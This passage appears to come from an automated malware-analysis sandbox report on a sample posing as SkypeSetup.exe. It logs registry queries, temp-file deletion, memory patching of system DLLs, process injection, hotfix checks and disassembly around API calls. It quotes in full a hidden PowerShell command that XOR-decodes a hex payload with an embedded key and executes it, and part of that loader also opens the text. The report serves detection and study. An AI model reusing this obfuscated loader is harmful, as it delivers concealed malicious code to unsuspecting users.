KGZPCCYZGRTIZZNKLZFWBETSUHIPABDJETYWXBATDYZUSULHXZDGCIBEFINTUCBLYQYQMVPYANDSDFCFCNTFZPOXLXZ[[system.Text.Encoding]::ASCII.GetBytes( -join ($h -split '(..)' | ? { $_ } | % { [char][convert]::ToUInt32($_, 16) })).Length % KGZPCCYZGRTIZZNKLZFWBETSUHIPABDJETYWXBATDYZUSULHXZDGCIBEFINTUCBLYQYQMVPYANDSDFCFCNTFZPOXLXZ.Length]}[String]$DeStr = [System.Text.Encoding]::ASCII.GetString([system.Text.Encoding]::ASCII.GetBytes( -join ($h -split '(..)' | ? { $_ } | % { [char][convert]::ToUInt32($_, 16) })));Invoke -ScriptBlock [Scriptblock]::Create($DeStr);;")2b:Tcba,"SkypeSetup.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\A419E7B35D3992A429BBFAC8F3664C13\INSTALLPROPERTIES") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\74A569CF9384AC046B81814F680F246C\INSTALLPROPERTIES") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\9A9450A669B1C894CACB933400F1BE91\INSTALLPROPERTIES") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\0AB19942EE0FDA44C98CE55CA0CE6F7B\INSTALLPROPERTIES") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\50E7C3A773EE6D74991EE20BA5D33A7F\INSTALLPROPERTIES") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\E7FF67E4ABEA78C47B88DC745E24B5D9\INSTALLPROPERTIES") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\CF4F71AEFBDF8FC45A92D28913230D35\INSTALLPROPERTIES") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\2A7527EE2A93F2D4D9CA9F2FB5A81E8D\INSTALLPROPERTIES") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\54E7910D668D0D4409FA25F9821FA5AB\INSTALLPROPERTIES") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\4EDD95AA276B12640A61C442284059A7\INSTALLPROPERTIES") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\CC978F6D6D95B4D4EAB97D164ED852DE\INSTALLPROPERTIES") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\E8B1B6BFDEF152C4CA99F0D1A352C7D1\INSTALLPROPERTIES") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\BDAD5335AB438EA45A9146D887948864\INSTALLPROPERTIES") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\693D336E8815D9E4F8B6FB8BFB43768E\INSTALLPROPERTIES") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\91E52A84EA9DEBB44911F6C4D523B893\INSTALLPROPERTIES") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\AB4C301D509FA7340894BD4267B3EB63\INSTALLPROPERTIES") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\AC357D429EA603E4F8F5FE9CE380FBD3\INSTALLPROPERTIES") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\5EAD28C50BE647342945EB3391ABE428\INSTALLPROPERTIES") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\A0939AE84BF71174FBC8C7807044FE9F\INSTALLPROPERTIES") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\CC8CE7506A27F504C93C6DD2B6B22F5A\INSTALLPROPERTIES")2c:T427,"%TEMP%\SkypeSetup.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\ZMG795E.tmp" for deletion "%TEMP%\SkypeSetup.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\ZMG798E.tmp" for deletion "%TEMP%\SkypeSetup.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\ZMG79AE.tmp" for deletion "%TEMP%\SkypeSetup.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\ZMG79EE.tmp" for deletion "%TEMP%\SkypeSetup.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\ZMG78FF.tmp" for deletion "%TEMP%\SkypeSetup.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\ZMG7C11.tmp" for deletion "%TEMP%\SkypeSetup.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\ZMG7C41.tmp" for deletion "%TEMP%\SkypeSetup.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\ZMG7C52.tmp" for deletion "%TEMP%\SkypeSetup.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\ZMG7CA1.tmp" for deletion "%TEMP%\SkypeSetup.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\ZMG7CE1.tmp" for deletion "%TEMP%\SkypeSetup.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\DefaultPackOffer.dll" for deletion2d:T411,"SkypeSetup.exe" opened "C:\Users\JcU9LiQ\AppData\Local\Temp\ZMG795E.tmp" with delete access "SkypeSetup.exe" opened "C:\Users\JcU9LiQ\AppData\Local\Temp\ZMG798E.tmp" with delete access "SkypeSetup.exe" opened "C:\Users\JcU9LiQ\AppData\Local\Temp\ZMG79AE.tmp" with delete access "SkypeSetup.exe" opened "C:\Users\JcU9LiQ\AppData\Local\Temp\ZMG79EE.tmp" with delete access "SkypeSetup.exe" opened "C:\Users\JcU9LiQ\AppData\Local\Temp\ZMG78FF.tmp" with delete access "SkypeSetup.exe" opened "C:\Users\JcU9LiQ\AppData\Local\Temp\ZMG7C11.tmp" with delete access "SkypeSetup.exe" opened "C:\Users\JcU9LiQ\AppData\Local\Temp\ZMG7C41.tmp" with delete access "SkypeSetup.exe" opened "C:\Users\JcU9LiQ\AppData\Local\Temp\ZMG7C52.tmp" with delete access "SkypeSetup.exe" opened "C:\Users\JcU9LiQ\AppData\Local\Temp\ZMG7CA1.tmp" with delete access "SkypeSetup.exe" opened "C:\Users\JcU9LiQ\AppData\Local\Temp\ZMG7CE1.tmp" with delete access "SkypeSetup.exe" opened "C:\Users\JcU9LiQ\AppData\Local\Temp\DefaultPackOffer.dll" with delete access2e:T889,"SkypeSetup.exe" wrote bytes "48120000" to virtual address "0x7535139C" (part of module "SSPICLI.DLL") "SkypeSetup.exe" wrote bytes "48120000" to virtual address "0x753512DC" (part of module "SSPICLI.DLL") "SkypeSetup.exe" wrote bytes "48123575" to virtual address "0x753683DC" (part of module "SSPICLI.DLL") "SkypeSetup.exe" wrote bytes "b81015cc72ffe0" to virtual address "0x753511F8" (part of module "SSPICLI.DLL") "SkypeSetup.exe" wrote bytes "68130000" to virtual address "0x76B01680" (part of module "WS2_32.DLL") "SkypeSetup.exe" wrote bytes "c04e5f7720546077e0656077b53861770000000000d0cd7500000000c5eacd750000000088eacd7500000000e9685e7582286177ee29617700000000d2695e75000000007dbbcd750000000009be5e7500000000ba18cd7500000000" to virtual address "0x77721000" (part of module "NSI.DLL") "SkypeSetup.exe" wrote bytes "f8113575" to virtual address "0x753683C4" (part of module "SSPICLI.DLL") "SkypeSetup.exe" wrote bytes "48123575" to virtual address "0x75368364" (part of module "SSPICLI.DLL") "SkypeSetup.exe" wrote bytes "48123575" to virtual address "0x753683C0" (part of module "SSPICLI.DLL") "SkypeSetup.exe" wrote bytes "f8113575" to virtual address "0x753683E0" (part of module "SSPICLI.DLL") "SkypeSetup.exe" wrote bytes "b88011cc72ffe0" to virtual address "0x76B01368" (part of module "WS2_32.DLL") "SkypeSetup.exe" wrote bytes "f8110000" to virtual address "0x753512CC" (part of module "SSPICLI.DLL") "SkypeSetup.exe" wrote bytes "f8113575" to virtual address "0x7536834C" (part of module "SSPICLI.DLL") "SkypeSetup.exe" wrote bytes "f8110000" to virtual address "0x75351408" (part of module "SSPICLI.DLL") "SkypeSetup.exe" wrote bytes "b89012cc72ffe0" to virtual address "0x75351248" (part of module "SSPICLI.DLL") "SkypeSetup.exe" wrote bytes "48123575" to virtual address "0x75368348" (part of module "SSPICLI.DLL") "SkypeSetup.exe" wrote bytes "f8113575" to virtual address "0x75368368" (part of module "SSPICLI.DLL") "SkypeSetup.exe" wrote bytes "e7395d77e1a661772e716177ee29617785e25c776da06177906460773ad5677726e45c77d16d6177003d5f77804b5f7700000000ad37b0768b2db076b641b07600000000" to virtual address "0x74E81000" (part of module "WSHIP6.DLL")2f:T7bd,"SkypeSetup.exe" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\SkypeSetup.exe" (Handle: 596) "SkypeSetup.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\SkypeSetup.exe" (Handle: 596) "SkypeSetup.exe" wrote 1500 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\SkypeSetup.exe" (Handle: 596) "SkypeSetup.exe" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\SkypeSetup.exe" (Handle: 596) "SkypeSetup.exe" wrote 32 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 160) "SkypeSetup.exe" wrote 52 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 160) "SkypeSetup.exe" wrote 4 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 160) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\wbem\WMIC.exe" (Handle: 144) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\wbem\WMIC.exe" (Handle: 144) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\find.exe" (Handle: 152) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\find.exe" (Handle: 152) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\find.exe" (Handle: 152) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\wbem\WMIC.exe" (Handle: 144) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\wbem\WMIC.exe" (Handle: 152) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\find.exe" (Handle: 160) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\find.exe" (Handle: 160) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\wbem\WMIC.exe" (Handle: 152) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\wbem\WMIC.exe" (Handle: 152) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\find.exe" (Handle: 160)30:Te41,Spawned process "SkypeSetup.exe" (UID: 00064319-00003228) Spawned process "SkypeSetup.exe" (UID: 00064589-00001380) Spawned process "powershell.exe" with commandline "-WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {$h = '2D323433372A3634671A203D2A082B3A393F352304303A305842325D4B3225382439545D704F4B0F143828343E30382D2A7214283020362C29276E6975736B11545B02072C3A393D203A211D2B320D332F221B341F3D3F2C357073164A500B10372B332935096D29201B1905574C7E4F4F7023263E2C22322B2B246569797308111731362A333A3D012D2A343F6A17101F27373520213A7B0E23263623625C470D1220352B1F0E196201292737163F2E353C7871787E2532363C784E537E1037361B3F2B3B2E3F2E666A62613A263924725D4B2B226A6D7C7D272B3424263730353B7378202D78696D6E4E4339484C6D19313711273D2C342A256D6B700212373727212B6D08263A7A113F321D3D3D2D3F3833076A79002B3F262631617E29341E1E136F6C4F4F295E5F2D2523244F4E31485E7D003D201331352C3F262775716803093D34372C2F6B082C3A7A0226201E3C202C343E220D637B0D36362532260E373A246E7E23350D1E1173704A502D4E49303C677A701E3F381C2E3D2F23243665793624686D3E342E2863485E225A521629262B2E7A7204302E1A3D2B3122303D6206342C2F203C2C2C6C3F30303D28327E7E7A434E2E494C6711262C06232B252A2B3876172E33323F2763647A6515111D78614341680D233510202526303B3D7E022D2A3E203A2D032132247479797D21362D38672836252E2D6E79484C6D3C312633627179750E342F043528342B37276A012632112B2736353E3C3D6471740C222E02263029352921311A2E282B2A21726F6C4F4F7020276874700F2733670A3633323B3661073D2A2E303E7B05077609303526282F1723282A31276B663E3C222978765B5A7D332B3723103E37667E6E7035287E1D3D2D3C0E240234346B6A62574D20313D2F28206B6828232432112C276E45432D4C4860393F063C262D27322064647A723B21383862756B232C2E27262920207A3126232A2D3E373463353F347B76746B74692E272A20383574333C7F77555010142E222A2D3E076321203B083F6E766C12322332173122202D3A2407372A2965702A2D0A273021212A2E6E5E5F68243B353129637462757D4444233D2A2E29797971753E22220B246E6936356667283622386F7A7D202A6C707E383328022663743F3672736E7373434137574C0436242627781B25352432646716313A38362632747269615859713F3C2A0821677E690A3132391C312436273F2D172C3F2E76742A3B1C21223123303278435E623633202D2278676B6336332C36377A6C7265725750272D647E2A342D303A73782D3870726B49403E31213E2C3F4C5E3954500E00213E21363D1963072C1131346973740E103B3F2D34347F1933282D6F0B2A302B222A2824136E7C1B030C1105761D2E330924312A373D6F090730292E2B26621929393420262708727316332D290824273C616C1135262D373D7D7726383A0A3F6D6E78444861352A3C3D253700203632327170760B0A223C2D2330242F292025097C60133D3D2D2C3F63631E3510372B737C5F5E00342C2120297705382F28353D3168640322302D3A311635383B296170373A283C23210E2437392F7C4E43';$key = 'KGZPCCYZGRTIZZNKLZFWBETSUHIPABDJETYWXBATDYZUSULHXZDGCIBEFINTUCBLYQYQMVPYANDSDFCFCNTFZPOXLXZ';$enc = [system.Text.Encoding]::ASCII;$data1 = $enc.GetBytes(-join ($h -split '(..)' | ? { $_ } | % { [char][convert]::ToUInt32($_, 16) }));for ($i = 0; $i -lt $data1.Length; $i++){$data1[$i] = $data1[$i] -bxor $key[$i % $key.Length];}[String]$DeStr = [System.Text.Encoding]::ASCII.GetString($data1);$scriptBlock = [Scriptblock]::Create($DeStr); Invoke-Command -ScriptBlock $scriptBlock;}"" (UID: 00064615-00001360) Spawned process "cmd.exe" with commandline "cmd /c wmic qfe get hotfixid | find "KB2999226"" (UID: 00068692-00003312) Spawned process "WMIC.exe" with commandline "wmic qfe get hotfixid" (UID: 00068701-00004084) Spawned process "find.exe" with commandline "find "KB2999226"" (UID: 00068703-00002348) Spawned process "cmd.exe" with commandline "cmd /c wmic qfe get hotfixid | find "KB2999226"" (UID: 00069089-00002752) Spawned process "WMIC.exe" with commandline "wmic qfe get hotfixid" (UID: 00069100-00003412) Spawned process "find.exe" with commandline "find "KB2999226"" (UID: 00069115-00001856)31:T659,SetUnhandledExceptionFilter@KERNEL32.DLL at 00013791-00002276-61341-52-013D171F SetUnhandledExceptionFilter@KERNEL32.DLL at 00013791-00002276-61341-51-013D2648 SetUnhandledExceptionFilter@KERNEL32.DLL at 00013791-00002276-61341-387-013D57FE SetUnhandledExceptionFilter@KERNEL32.DLL at 00028144-00002136-7379-12-00E6851A SetUnhandledExceptionFilter@KERNEL32.DLL at 00028144-00002136-7379-33-00E6A71C SetUnhandledExceptionFilter@KERNEL32.DLL at 00028144-00002136-7379-1423-00E690B2 SetUnhandledExceptionFilter@KERNEL32.DLL at 00028288-00002384-17868-33-00E6A71C SetUnhandledExceptionFilter@KERNEL32.DLL at 00028288-00002384-17868-12-00E6851A SetUnhandledExceptionFilter@KERNEL32.DLL at 00028288-00002384-17868-1423-00E690B2 SetUnhandledExceptionFilter@KERNEL32.DLL at 00035229-00003612-35726-12-01010015 SetUnhandledExceptionFilter@KERNEL32.DLL at 00035229-00003612-35726-33-01017B88 SetUnhandledExceptionFilter@KERNEL32.DLL at 00035229-00003612-35726-14902-01016B26 SetUnhandledExceptionFilter@KERNEL32.DLL at 00035539-00003520-55156-32-01081EA8 SetUnhandledExceptionFilter@KERNEL32.DLL at 00035539-00003520-55156-12-01079838 SetUnhandledExceptionFilter@KERNEL32.DLL at 00035590-00003524-50595-16-0085B276 SetUnhandledExceptionFilter@KERNEL32.DLL at 00035590-00003524-50595-334-0085B253 SetUnhandledExceptionFilter@KERNEL32.DLL at 00038331-00002812-58696-16-002B2D50 SetUnhandledExceptionFilter@KERNEL32.DLL at 00038331-00002812-58696-2926-002B2D2D SetUnhandledExceptionFilter@KERNEL32.DLL at 00039645-00002496-1931-16-00A1FF76 SetUnhandledExceptionFilter@KERNEL32.DLL at 00039645-00002496-1931-413-00A1FF5332:T582,GetSystemTimeAsFileTime@KERNEL32.DLL at 00013791-00002276-61341-197-013D5FE0 GetLocalTime@KERNEL32.DLL at 00028144-00002136-7379-59-00E6F805 GetSystemTimeAsFileTime@KERNEL32.DLL at 00028144-00002136-7379-872-00E67516 GetSystemTimeAsFileTime@KERNEL32.DLL at 00028144-00002136-7379-787-00E6A39F GetSystemTime@KERNEL32.DLL at 00028144-00002136-7379-834-00E498DB GetLocalTime@KERNEL32.DLL at 00028144-00002136-7379-633-00E726A0 GetSystemTime@KERNEL32.DLL at 00028144-00002136-7379-631-00E7864E GetLocalTime@KERNEL32.DLL at 00028288-00002384-17868-59-00E6F805 GetSystemTimeAsFileTime@KERNEL32.DLL at 00028288-00002384-17868-787-00E6A39F GetSystemTimeAsFileTime@KERNEL32.DLL at 00028288-00002384-17868-872-00E67516 GetSystemTime@KERNEL32.DLL at 00028288-00002384-17868-834-00E498DB GetSystemTime@KERNEL32.DLL at 00028288-00002384-17868-631-00E7864E GetLocalTime@KERNEL32.DLL at 00028288-00002384-17868-633-00E726A0 GetSystemTimeAsFileTime@KERNEL32.DLL at 00035229-00003612-35726-145-010179D8 GetSystemTime@KERNEL32.DLL at 00035229-00003612-35726-694-00F0AB05 GetSystemTime@KERNEL32.DLL at 00035229-00003612-35726-699-00F08100 GetSystemTime@KERNEL32.DLL at 00035229-00003612-35726-1207-00EBA7B0 GetSystemTime@KERNEL32.DLL at 00035229-00003612-35726-1209-00ECEB50 GetSystemTime@KERNEL32.DLL at 00035229-00003612-35726-1202-00EE6070 GetSystemTime@KERNEL32.DLL at 00035229-00003612-35726-1210-00EE4DB033:T556,GetVersionExW@KERNEL32.DLL at 00028144-00002136-7379-47-00E41B46 GetVersionExW@KERNEL32.DLL at 00028144-00002136-7379-372-00E769E2 GetVersionExW@KERNEL32.DLL at 00028144-00002136-7379-816-00E49028 GetVersionExW@KERNEL32.DLL at 00028288-00002384-17868-47-00E41B46 GetVersionExW@KERNEL32.DLL at 00028288-00002384-17868-372-00E769E2 GetVersionExW@KERNEL32.DLL at 00028288-00002384-17868-816-00E49028 GetVersionExW@KERNEL32.DLL at 00035229-00003612-35726-1213-00EDF990 GetVersionExW@KERNEL32.DLL at 00035229-00003612-35726-1226-00EE1320 GetVersionExW@KERNEL32.DLL at 00035229-00003612-35726-1393-00E931A0 GetVersionExW@KERNEL32.DLL at 00035229-00003612-35726-1621-00E6E550 GetVersionExW@KERNEL32.DLL at 00035229-00003612-35726-1548-00F1C360 GetVersionExW@KERNEL32.DLL at 00035229-00003612-35726-1594-00EB39A0 GetVersionExW@KERNEL32.DLL at 00035229-00003612-35726-1878-00E62430 GetVersionExW@KERNEL32.DLL at 00035229-00003612-35726-1901-00E93080 GetVersionExW@KERNEL32.DLL at 00035229-00003612-35726-1831-00E65DD0 GetVersionExW@KERNEL32.DLL at 00035229-00003612-35726-9328-00F28A5D GetVersionExW@KERNEL32.DLL at 00035229-00003612-35726-13436-00F69F15 GetVersionExW@KERNEL32.DLL at 00035539-00003520-55156-857-00F72450 GetVersionExW@KERNEL32.DLL at 00035539-00003520-55156-855-00F6F250 GetVersionExW@KERNEL32.DLL at 00035539-00003520-55156-1559-00F9639A34:T5dc,EnumSystemLocalesA@KERNEL32.DLL at 00035229-00003612-35726-736-0102580C GetUserDefaultLCID@KERNEL32.DLL at 00035229-00003612-35726-735-01025848 GetUserDefaultLCID@KERNEL32.DLL at 00035229-00003612-35726-620-00F0DE80 EnumSystemLocalesA@KERNEL32.DLL at 00035229-00003612-35726-738-010257A5 GetUserDefaultLCID@KERNEL32.DLL at 00035229-00003612-35726-1127-00E6F030 GetUserDefaultUILanguage@KERNEL32.DLL at 00035229-00003612-35726-2008-00F123A7 GetUserDefaultUILanguage@KERNEL32.DLL at 00035229-00003612-35726-3604-0100C4C9 EnumSystemLocalesA@KERNEL32.DLL at 00035539-00003520-55156-534-0108F9CC GetUserDefaultLCID@KERNEL32.DLL at 00035539-00003520-55156-533-0108FA08 EnumSystemLocalesA@KERNEL32.DLL at 00035539-00003520-55156-536-0108F965 GetUserDefaultUILanguage@KERNEL32.DLL at 00035539-00003520-55156-1126-00F88818 GetUserDefaultUILanguage@KERNEL32.DLL at 00035539-00003520-55156-2257-01075599 GetUserDefaultLCID@KERNEL32.DLL at 00038331-00002812-58696-273-001F9DB0 EnumSystemLocalesW@KERNEL32.DLL at 00038331-00002812-58696-2241-002BA82C EnumSystemLocalesW@KERNEL32.DLL at 00038331-00002812-58696-2258-002BCB90 EnumSystemLocalesW@KERNEL32.DLL at 00038331-00002812-58696-2257-002BCAD3 EnumSystemLocalesW@KERNEL32.DLL at 00038331-00002812-58696-2260-002BCB13 GetUserDefaultLCID@KERNEL32.DLL at 00038331-00002812-58696-2256-002BD0AF GetUserDefaultLCID@KERNEL32.DLL at 00038331-00002812-58696-2236-002BA898 GetUserDefaultUILanguage@KERNEL32.DLL at 00038331-00002812-58696-2676-002053E035:T17e9,Found API call GetLocalTime@KERNEL32.DLL (Target: "vc_redist.x86.exe"; Stream UID: "00028144-00002136-7379-59-00E6F805") which is directly followed by "cmp esi, E0000000h" and "je 00E6F8A6h". See related instructions: "... +78 call dword ptr [00E7B108h] ;GetCurrentThreadId +84 mov dword ptr [ebp-28h], eax +87 xor eax, eax +89 lea edi, dword ptr [ebp-14h] +92 stosd +93 stosd +94 stosd +95 stosd +96 lea eax, dword ptr [ebp-14h] +99 push eax +100 call dword ptr [00E7B2C8h] ;GetLocalTime +106 mov eax, esi +108 and esi, F0000000h +114 and eax, 0FFFFFFFh +119 cmp esi, E0000000h +125 je 00E6F8A6h" ... at 00028144-00002136-7379-59-00E6F805 Found API call GetVersionExW@KERNEL32.DLL (Target: "vc_redist.x86.exe"; Stream UID: "00028144-00002136-7379-372-00E769E2") which is directly followed by "cmp dword ptr [ebp-0000011Ch], 04h" and "jne 00E76A61h". See related instructions: "... +62 lea eax, dword ptr [ebp-00000120h] +68 push eax +69 mov dword ptr [ebp-00000120h], 0000011Ch +79 call dword ptr [00E7B10Ch] ;GetVersionExW +85 movzx eax, word ptr [ebp-0Ch] +89 movzx ecx, word ptr [ebp-0Ah] +93 shl eax, 10h +96 or eax, ecx +98 cmp dword ptr [ebp-0000011Ch], 04h +105 mov dword ptr [00E97F20h], eax +110 jne 00E76A61h" ... at 00028144-00002136-7379-372-00E769E2 Found API call GetLocalTime@KERNEL32.DLL (Target: "vc_redist.x86.exe"; Stream UID: "00028144-00002136-7379-633-00E726A0") which is directly followed by "cmp cx, word ptr [eax]" and "je 00E727FFh". See related instructions: "... +302 mov dword ptr [ebp-00000230h], 00E7B5F8h +312 lea eax, dword ptr [ebp-0000021Ch] +318 push eax +319 xor ebx, ebx +321 call dword ptr [00E7B2C8h] ;GetLocalTime +327 mov eax, dword ptr [ebp-0000023Ch] +333 push 0000002Eh +335 pop ecx +336 cmp cx, word ptr [eax] +339 mov ecx, 00E7B5F8h +344 je 00E727FFh" ... at 00028144-00002136-7379-633-00E726A0 Found API call GetLocalTime@KERNEL32.DLL (Target: "vc_redist.x86.exe"; Stream UID: "00028288-00002384-17868-59-00E6F805") which is directly followed by "cmp esi, E0000000h" and "je 00E6F8A6h". See related instructions: "... +78 call dword ptr [00E7B108h] ;GetCurrentThreadId +84 mov dword ptr [ebp-28h], eax +87 xor eax, eax +89 lea edi, dword ptr [ebp-14h] +92 stosd +93 stosd +94 stosd +95 stosd +96 lea eax, dword ptr [ebp-14h] +99 push eax +100 call dword ptr [00E7B2C8h] ;GetLocalTime +106 mov eax, esi +108 and esi, F0000000h +114 and eax, 0FFFFFFFh +119 cmp esi, E0000000h +125 je 00E6F8A6h" ... at 00028288-00002384-17868-59-00E6F805 Found API call GetVersionExW@KERNEL32.DLL (Target: "vc_redist.x86.exe"; Stream UID: "00028288-00002384-17868-372-00E769E2") which is directly followed by "cmp dword ptr [ebp-0000011Ch], 04h" and "jne 00E76A61h". See related instructions: "... +62 lea eax, dword ptr [ebp-00000120h] +68 push eax +69 mov dword ptr [ebp-00000120h], 0000011Ch +79 call dword ptr [00E7B10Ch] ;GetVersionExW +85 movzx eax, word ptr [ebp-0Ch] +89 movzx ecx, word ptr [ebp-0Ah] +93 shl eax, 10h +96 or eax, ecx +98 cmp dword ptr [ebp-0000011Ch], 04h +105 mov dword ptr [00E97F20h], eax +110 jne 00E76A61h" ... at 00028288-00002384-17868-372-00E769E2 Found API call GetLocalTime@KERNEL32.DLL (Target: "vc_redist.x86.exe"; Stream UID: "00028288-00002384-17868-633-00E726A0") which is directly followed by "cmp cx, word ptr [eax]" and "je 00E727FFh". See related instructions: "... +302 mov dword ptr [ebp-00000230h], 00E7B5F8h +312 lea eax, dword ptr [ebp-0000021Ch] +318 push eax +319 xor ebx, ebx +321 call dword ptr [00E7B2C8h] ;GetLocalTime +327 mov eax, dword ptr [ebp-0000023Ch] +333 push 0000002Eh +335 pop ecx +336 cmp cx, word ptr [eax] +339 mov ecx, 00E7B5F8h +344 je 00E727FFh" ... at 00028288-00002384-17868-633-00E726A0 Found API call GetVersionExW@KERNEL32.DLL (Target: "DefaultPack.EXE"; Stream UID: "00035229-00003612-35726-1594-00EB39A0") which is directly followed by "cmp eax, 06h" and "jne 00EB3A2Fh". See related instructions: "... +36 call 010122E0h +41 add esp, 0Ch +44 lea ecx, dword ptr [ebp-00000120h] +50 push ecx +51 mov dword ptr [ebp-00000120h], 00000114h +61 call dword ptr [01050488h] ;GetVersionExW +67 mov eax, dword ptr [ebp-0000011Ch] +73 cmp eax, 06h +76 jne 00EB3A2Fh" ... at 00035229-00003612-35726-1594-00EB39A0 Found API call GetSystemTime@KERNEL32.DLL (Target: "DefaultPack.EXE"; Stream UID: "00035229-00003612-35726-1576-00E837D0") which is directly followed by "cmp eax, 01h" and "jne 00E841A4h". See related instructions: "... +0 push ebp +1 mov ebp, esp +3 push FFFFFFFFh +5 push 010430DAh +10 mov eax, dword ptr fs:[00000000h] +16 push eax +17 sub esp, 000002D0h +23 mov eax, dword ptr [010BFD70h] +28 xor eax, ebp +30 mov dword ptr [ebp-14h], eax +33 push ebx +34 push esi +35 push edi +36 push eax +37 lea eax, dword ptr [ebp-0Ch] +40 mov dword ptr fs:[00000000h], eax +46 mov eax, dword ptr [ebp+08h] +49 xor esi, esi +51 mov dword ptr [ebp-00000124h], 0107F438h +61 mov dword ptr [ebp-00000120h], esi +67 mov dword ptr [ebp-04h], esi +70 mov edi, dword ptr [01050480h] ;GetSystemTime +76 cmp eax, 01h +79 jne 00E841A4h" ... at 00035229-00003612-35726-1576-00E837D0 Found API call GetVersionExW@KERNEL32.DLL (Target: "DefaultPack.EXE"; Stream UID: "00035229-00003612-35726-13436-00F69F15") which is directly followed by "cmp dword ptr [ebp-00000120h], 06h" and "jc 00F69FBCh". See related instructions: "... +120 call 010122E0h +125 add esp, 0Ch +128 lea eax, dword ptr [ebp-00000124h] +134 push eax +135 mov dword ptr [ebp-00000124h], edi +141 call dword ptr [01050488h] ;GetVersionExW +147 cmp dword ptr [ebp-00000120h], 06h +154 jc 00F69FBCh" ... at 00035229-00003612-35726-13436-00F69F15 Found API call GetVersionExW@KERNEL32.dll (Target: "DefaultPack.EXE.1879233279"; Stream UID: "44661-6978-004539A0") which is directly followed by "cmp eax, 06h" and "jne 00453A2Fh". See related instructions: "... +36 call 005B22E0h +41 add esp, 0Ch +44 lea ecx, dword ptr [ebp-00000120h] +50 push ecx +51 mov dword ptr [ebp-00000120h], 00000114h 